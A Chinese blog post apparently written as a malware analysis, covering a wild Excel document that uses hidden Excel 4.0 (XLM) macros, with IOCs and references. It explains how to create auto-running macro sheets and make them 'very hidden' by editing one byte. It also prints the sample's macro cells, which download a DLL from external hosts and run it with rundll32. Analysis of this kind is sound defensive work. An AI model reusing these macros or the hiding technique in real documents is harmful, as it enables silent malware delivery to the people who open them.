安全技术

从一个野外 office 样本分析中学习 Excel 4.0 marco

zeronohacker · 4月18日 · 2020年 609次已读

0x00 前述

今日在野外获得一个特别有意思的 office 样本(Excel 文档),这个样本运用了 Excel 4.0 marco 技术,并且还隐藏了。由于自己对 Excel 4.0 marco 技术不是太深入了解,所以打算趁此在周末好好学习下 Excel 4.0 marco。在开始之前,我们先聊下 Excel 4.0 marco。

Excel 4.0 marco,也可叫做 XLM(这里的 XLM 不是 XML) marco,这项技术早在 1992 年就引入了,可以说是一种非常古老的技术。我们知道,现如今,几乎所有针对 MS Office 的恶意宏文档都基于 Visual Basic for Application(VBA)。另外,XLM 宏对于红队来说是一个杀手锏,并且是出于进攻目的,它是 VBA 宏非常好的替代品,XLM 可能难以解析,而且似乎大多数反病毒软件无法检测 XLM 恶意文档。虽然到目前为止该技术已经使用了 28 年,但最近几年出的 MS Office 版本仍支持 Excel 4.0 marco,如下所示:

在 1992 年,针对 windows 3.0 和 3.1 发布电子表格软件 Excel 4.0 时,为了实现自动化,可以通过所谓的宏工作表在此版本中的 Excel 中使用 XLM 宏。XLM 与 VBA 不一样,后者在一年后的 Excel 5.0 中引入。

0x02 创建 XLM 宏

创建一个新的 Excel 文件,名为 xlm_macro.xlsx,新创建的默认会有三张工作表,如下所示:

在 Sheet1 工作表中右键点击插入,会弹出你需要创建的对象,如下所示:

在弹出的界面中选择 MS Excel 4.0 宏表,最后点击确定,这样就创建了一张 XLM 宏工作表了,如下所示:

在这张工作表当中选择一个单元格并输入 =EXEC("calc.exe")=ALERT("XLM macro")=HALT(),如下所示:

选中 A1 单元格,右击选择执行,在弹出的对话框中点击执行,执行后结果如下所示:

如果您希望宏在打开工作簿时自动运行(类似于 VBA 宏的 Sub AutoOpen()),请将宏的第一个单元重命名为 Auto_open,如下所示:

最后保存,由于这里启用了宏的功能,所以保存的格式为 xls,保存好后,用 olevba.py 工具检测下,如下所示:

由上图可知,存在利用 Excel 4.0 macro,并且是 visible,但是我遇到的样本,却是 very hidden,如下所示:

在 Excel 用户界面上是没有显示出来的,如下所示:

在工作表中右击选择取消隐藏,发现取消隐藏命令变灰了,那这种的是如何实现的呢?要想把这个搞清楚,我们先来谈一下普通工作表(区别于 Excel 4.0 宏表)的隐藏。

0x03 普通工作表的普通隐藏和深度隐藏

普通工作表的普通隐藏和显示,大家可以观看以下这个短视频了解:

普通工作表的深度隐藏和显示,下面这段短视频做了演示:

0x04 Excel 4.0 宏表的隐藏和显示

和普通工作表一样,Excel 4.0 宏表也有普通隐藏和深度隐藏,它的普通隐藏操作和普通工作表一样,也是在右击工作表选择隐藏命令,同时也能选择取消隐藏命令,但是这种并不是真正的隐藏,真正的隐藏为深度隐藏,如要实现,需要用十六进制编辑器修改它的字节码,这种深度隐藏的好处就是在 Excel 用户界面上显示不出,并且不能通过取消隐藏命令来使其显示,如要显示,需要修改对应字节码,这样就出现一个问题,在哪个地方修改呢?这是一个比较关键的地方,我们知道,Excel 4.0 宏功能存储在工作簿流中的 BIFF 记录中,如果你需要快速定位,可借助 oledump 工具里的一个插件来完成,这个插件为 plugin_biff.py,如下所示:

如上图所示,若需深度隐藏,只需要将第 5 个字节改为 0x02 就行。将 xls 文件拖入到 010 Editor 中,然后搜索 C4 2E 00 00 00 01 06 …… 序列,改动第 5 个字节,最后保存,保存后双击运行验证是否成功,同理,如要显示,也是重复上述操作,只不过值改为 0x00 就行,如下所示:

但是需要注意一点,这个需要定位的字节序列不是固定的,但是要修改的偏移是固定的。

0x05 样本分析

样本信息:

由于此样本运用了 Excel 4.0 macro,并且还深度隐藏了,所以只需用上一小节提到的方法对该样本修改关键字节码就可以,修改后如下所示:

Excel 4.0 宏表中出现了大量的 =CHAR,在右边也有相关命令,拉至最上端,选中单元格,右击选择运行,这里需要允许宏执行,但为了避免运行到 =WORKBOOK.HIDE 和 =GOTO,我暂时把这两行删除再运行,运行后的结果如下所示:

oh my god,what a fu** ?被我删除的那两句,它是把这个工作表隐藏,再跳转到 R2 单元格执行,而 R2 单元格名为 Auto_open,所以当你打开这个文档时,启用了宏就会自动从 R2 单元处开始执行命令。R6 单元格命令如下:

=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)

上述命令通过将本地 Office 的安全设置注册表项导出到 1.reg 文件中,配合后面打开读取安全设置,判断 R11 中读取的内容是否有 0001,并接着判断返回的是否为数字。R16 单元格命令,远程下载文件并保存在本地,文件名为 bqg85ef.html:

=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://kacper-formela.pl/wp-smart.php","c:\Users\Public\bqg85ef.html",0,0)

R17 单元格命令,当 R16 执行失败时,换个域名连接继续下载文件并保存在本地,文件名为 bqg85ef.html:

=IF(R16<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://braeswoodfarmersmarket.com/wp-smart.php","c:\Users\Public\bqg85ef.html",0,0),)

R20 单元格命令,由这条命令可知上述通过远程下载的 bqg85ef.html 其实不是一个 html 文件,而是一个 dll:

=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\bqg85ef.html,DllRegisterServer",0,5)

URL:

  • http[:]//kacper-formela[.]pl/wp-smart[.]php;
  • http[:]//braeswoodfarmersmarket[.]com/wp-smart[.]php;

虽然上面现已无法访问,但是通过 VT 上关联分析还是拿到了相关的样本,顺便把 1.reg 也拿到了,不过这个拿不拿没关系,主要是后面这个关键 dll。让我们来看下 1.reg 中的内容吧,如下所示:

我们再来看下那个 dll,首先通过 strings 工具查看字符串,如下所示:

在 dll 文件中发现 pdb 路径,通过 pdb 路径名可知是个 POC,就只为弹个计算器,如下所示:

呕~写特,在 Github 居然找到了该 dll,what?如下所示:

0x06 总结

虽然最终啥也没,但是也学到不少东西,比如 Excel 4.0 macro 的深度隐藏,发现宏还可以这样玩,就这样吧,洗洗睡,困了~

0x07 参考链接

  • https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/
  • https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/analysis-suspicious-very-hidden-formula-on-excel-4-0-macro-sheet
  • https://isc.sans.edu/forums/diary/Excel+Maldocs+Hidden+Sheets/25876/
  • https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/more-excel-4-0-macro-malspam-campaigns/

0x08 IOCs

MD5:

  • 3c2a1ce4a43a0ee2546f195f2e6de8cb
  • 532a449af9d242579f9ec3dfa34e44e4
  • d28a070dec7a29ad35e8baf1c56b5cdc

URL:

  • http[:]//kacper-formela[.]pl/wp-smart[.]php;
  • http[:]//braeswoodfarmersmarket[.]com/wp-smart[.]php;

(本文完)

0 条回应

必须 注册 为本站用户, 登录 后才可以发表评论!